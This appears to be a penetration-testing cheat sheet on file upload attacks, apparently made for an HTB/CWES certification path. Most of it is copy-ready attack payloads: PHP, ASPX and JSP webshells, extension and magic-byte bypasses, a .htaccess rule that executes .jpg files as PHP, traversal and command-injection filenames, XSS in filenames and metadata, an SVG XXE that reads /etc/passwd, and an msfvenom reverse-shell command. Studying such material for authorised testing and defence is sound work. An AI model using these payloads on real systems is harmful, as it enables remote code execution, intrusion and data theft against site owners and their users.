File Upload Attacks
Malicious upload from the CWES path: PHP/ASPX/JSP webshells, extension and Content-Type bypasses, magic bytes, .htaccess, filename traversal/injection, and SVG XSS/XXE. Every payload separated.
Detection
Step 1 — Find upload functionality
In Burp Proxy → HTTP history, look for:
multipart/form-dataPOST requests- Parameters named
file,upload,avatar,attachment,document,image - Any response that returns a URL to the uploaded file
Step 2 — Probe what’s blocked
Upload a benign .php file containing only a comment (no execution risk). Observe:
- Is the extension rejected outright? → extension filtering
- Is it accepted but stored with a different extension? → server-side rename
- Is it accepted and accessible at a returned URL? → proceed to webshell
Check the Content-Type and extension validation separately:
- Upload
shell.phpwithContent-Type: image/jpeg— if accepted → Content-Type not validated - Upload
shell.jpg(real image bytes + PHP appended) — if accessible as PHP → extension not validated - Upload
shell.PhP— if accepted → case-insensitive filter bypass
Step 3 — Access the uploaded file
If upload succeeds, find where the file is stored:
- The response body may return the path directly
- Check
/uploads/,/files/,/images/,/media/ - Use Burp Intruder to fuzz the path if not obvious
Request the file to confirm execution:
curl -s https://TARGET/uploads/shell.php?cmd=id
Step 4 — Confirm RCE
curl -s "https://TARGET/uploads/shell.php?cmd=id"
# Expected: uid=33(www-data) gid=33(www-data)
Attack order
- PHP shell direct → extension bypass (
.phtml/.php5/.phar/case) → Content-Type bypass → magic bytes →.htaccess - Non-PHP server? → ASPX (IIS/.NET) or JSP (Tomcat/Java)
- No RCE path? → SVG XXE for file read → exiftool XSS in metadata → filename injection
PHP webshells
Minimal (cmd parameter):
<?php system($_REQUEST['cmd']); ?>
shell_exec variant:
<?php echo shell_exec($_GET['cmd']); ?>
Password-protected (only runs if p md5 matches):
<?php if(md5($_GET['p'])=='5f4dcc3b5aa765d61d8327deb882cf99'){system($_GET['c']);} ?>
Extension bypass (when .php is blacklisted)
shell.phtml
shell.php5
shell.phar
shell.php7
shell.pHp
Double extension (server parses last, app checks first):
shell.jpg.php
Null byte (PHP < 5.5):
shell.php%00.jpg
Content-Type / magic byte bypass
Change the upload request’s Content-Type header:
Content-Type: image/jpeg
GIF magic bytes + PHP shell:
printf 'GIF89a;' > shell.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.php
PNG magic bytes + PHP shell:
printf '\x89PNG\r\n\x1a\n' > shell.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.php
.htaccess to make .jpg run as PHP:
AddType application/x-httpd-php .jpg
Filename tricks
Path traversal in the filename:
filename="../../../var/www/html/shell.php"
Command injection via filename:
file$(whoami).jpg
XSS via filename:
<script>alert(window.origin);</script>
Non-PHP shells
ASPX (IIS / .NET):
<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% Response.Write(new Process{StartInfo=new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd()); %>
JSP (Tomcat / Java):
<% Process p = Runtime.getRuntime().exec(request.getParameter("c")); java.io.DataInputStream in = new java.io.DataInputStream(p.getInputStream()); String line=""; while((line=in.readLine())!=null){out.println(line+"<br>");} %>
Image / metadata attacks
Inject XSS into image metadata with exiftool:
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' HTB.jpg
SVG with XXE (read a file when the server parses it):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
Reverse shell payload
Generate a PHP reverse shell:
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php